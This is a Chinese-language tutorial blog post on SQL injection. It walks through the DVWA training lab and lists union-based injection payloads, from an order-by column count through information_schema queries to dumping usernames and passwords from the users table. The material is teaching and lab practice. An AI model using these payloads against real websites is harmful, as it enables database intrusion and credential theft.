作者:菲拉慕格_516 | 来源:互联网 | 2023-05-19 20:12
一 . SQL注入:
SQL injection:通过把SQL命令插入到web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器恶意执行的SQL命令。具体来说就是利用现有的程序将Sql命令注入到后台数据库引擎并且执行,它可以通过web表单中输入(恶意)的SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照 设计者意图去执行SQL语句。
攻击者通过web 应用程序利用SQL语句或字符串将非法的数据插入到服务端数据库中,获取数据库的用户管理权限,然后将数据库管理用户权限提升至操作系统管理用户权限,控制服务器操作系统,获取重要的信息和机密文件。
1.按照注点类型分:(今天所说)
- 数字型注入点
- 字符型注入点
- 按照提交数据来分类:
- GET注入
- POST注入
- COOKIE注入
- HTTP头部注入
- 判断是否存在漏洞,注入是字符型还是数字型
- 猜解SQL查询语句的字段数
- 确定显示位置
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 下载数据
五.实例演示(环境基于PHP study数据库)
1.低级别(low)sql注入:
(1)首先判断是否存在漏洞并确认是字符型还是数字型:
打开dvwa low级别源代码进行大概判断(这种情况属于我们可以看到源代码的前提下)
可以看出low级别 无过滤语句 且id后边的为单引号可大概判断为字符型。
假设我们不知道源代码 先进入 SQL injection
输入1’ 判断
报错提示多了个单引号,说明了数据库没有过滤掉单引号,此时我们可以认为这个站点存在注入,且极大可能为字符型注入;
进行下一步判断
输入1’ and ‘1’=’1 判断
显示结果表示有正常输出;可以说明输入的SQL语句已经正常拼接进去,现在可以确定该站点为字符型注入
(2)猜解SQL查询语句的字段数
输入1' order by 1 # 确定列数
输入1' order by 2 # 确定列数
输入1' order by 3 # 确定列数;当输入3时报错证明这个表有2列
- 确定显示位置
输入1' union select 1,2 #来确定显示位置
- 获取当前数据库
输入1' union select 1,database() #
由此可以得到库名
- 获取数据库中的表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #来获得表名并对你感兴趣的表进行操作
- 获取表中的字段名
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
- 对你感兴趣的字段名进行操作和下载
输入1’ union select user,password from users #
现在得到了你想要的用户名和密码。